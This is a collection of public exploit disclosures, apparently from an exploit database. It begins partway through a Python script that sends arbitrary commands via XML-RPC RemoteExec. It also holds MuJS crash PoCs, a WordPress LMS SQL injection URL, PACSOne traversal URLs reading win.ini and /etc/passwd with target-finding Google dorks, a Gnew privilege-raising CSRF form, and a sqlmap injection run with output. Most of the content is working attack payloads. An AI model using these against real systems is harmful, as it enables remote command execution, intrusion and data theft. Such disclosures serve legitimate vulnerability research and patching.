def sendXMLRPC(host, port, packet, tlsrequest):
    r = tlsrequest.post(
            'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
        )
    print r.status_code
    print r.content
    return


intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
options = optParser()
rexec = options.command
PORT = options.port
HOST = options.host
rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec  + """</value></param></params></methodCall>"""

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall("TLSRPC")
wrappedSocket = ssl.wrap_socket(sock)

adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)

sendXMLRPC(HOST, PORT, intro, s)
sendXMLRPC(HOST, PORT, rexec, s)

wrappedSocket.close()
            
# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
)
            
# Exploit Title: Good LMS - Learning Management System WP Plugin SQL 
Injection
# Date: 2018-01-24
# Exploit Author: Esecurity.ir
# Exploit Author Web Site: http://esecurity.ir
# Special Thanks : Meisam Monsef [meisamrce@gmail.com] - Telegram ID : 
@meisamrce
# Vendor Homepage: https://goodlayers.com/
# Version: All Version

Exploit :

	1 - First enter the link below and create an account
	http://target.com/?register=1
	2 - the exploit
	http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+[SQL+Command]%23
	http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+union+select+1,2,3,user()%23
            
Hello,

I want to submit the following bug:

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
)
            
# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Version: PACSOne Server 6.6.2
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt



1. Description
  
DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required.
The 'path' parameter via GET is vulnerable.

Found: 08/14/2017
Vendor Reply & Fix: 09/28/2017

  
2. Proof of Concept


http://localhost/pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://localhost/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd


3. Solution:

Application inputs must be validated correctly.
            
# Exploit Title: Gnew 2018.1 - Cross-Site Request Forgery
# Date: 26/01/2018
# Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
# Vendor website : http://gnew.xyz/
# Software download : http://www.gnew.xyz/pages/download.php
# Version: 2018.1
# Tested on: Windows 10 Home x64  / Kali Linux

Product description :

Gnew is a simple content management system (CMS) written in PHP and
using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
fully customizable because it uses a system of templates and supports
multiple languages

Description :

A vulnerability has been discovered in Gnew , which can be exploited by
malicious people to conduct cross-site request forgery attacks.
This can be used to get a privilege escalation on the targeted application.

POC :

------------------------------------ HTML--------------------------------------

<form action="http://Target/gnew/admin/users.php " method="POST">
 <input type="hidden" name="_method" value="POST"/>
 <input type="hidden" name="user_name" value="test2"/>
 <input type="hidden" name="user_level" value="4"/>
 <input type="hidden" name="user_email" value="gnewtest@yopmail.com"/>
 <input type="hidden" name="user_show_email" value="0"/>
<input type="hidden" name="user_day" value="0"/>
<input type="hidden" name="user_month" value="0"/>
<input type="hidden" name="user_month" value="0"/>
 <input type="hidden" name="user_language" value="english"/>
 <input type="hidden" name="user_template" value="clean"/>
 <input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
 <input type="hidden" name="user_date_offset" value="0"/>
<input type="hidden" name="user_avatar" value=""/>
 <input type="hidden" name="user_date_offset" value="0"/>
 <input type="hidden" name="user_avatar"
value="./../images/avatars/empty.png"/>
 <input type="hidden" name="user_id" value="2"/>
<input type="hidden" name="user_level_old" value="1"/>
<input type="hidden" name="user_name_old" value="test2"/>
<input type="hidden" name="edit_user" value="Éditer"/>
<input type="submit" value="CSRF This"/></form>

------------------------------------ HTML END--------------------------------------
            
# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer SQL Injection
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Version: PACSOne Server 6.6.2
# Exploit Author: Carlos Avila
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
DICOM Web Viewer is a component written in PHP. In version 6.6.2, it is vulnerable to SQL Injection. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin credentials aren't required.
The 'username' and 'email' parameters via POST are vulnerable.

Found: 08/14/2017
Last Vendor Reply & Fix: 09/28/2017
  
2. Proof of Concept


POST /pacs/userSignup.php HTTP/1.1
Host: 192.168.6.105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Referer: http://192.168.6.105/pacs/userSignup.php?hostname=localhost&database=dicom
Cookie: PHPSESSID=k0ggg80jcl6m61nrmp12esvat2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hostname=localhost&database=dicom&username=test&password=22222222&firstname=test&lastname=test&email=test&action=Sign+Up


root@kali18:~# sqlmap -r pacsone_local -v 2 -f -p email --dbms mysql –dbs

web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.25
back-end DBMS: active fingerprint: MySQL >= 5.5.0
               comment injection fingerprint: MySQL 5.7.14
               html error message fingerprint: MySQL
[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 2 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: dicom
[20:09:33] [DEBUG] performed 3 queries in 0.11 seconds
available databases [2]:
[*] dicom
[*] information_schema


3. Solution:

Application inputs must be validated correctly.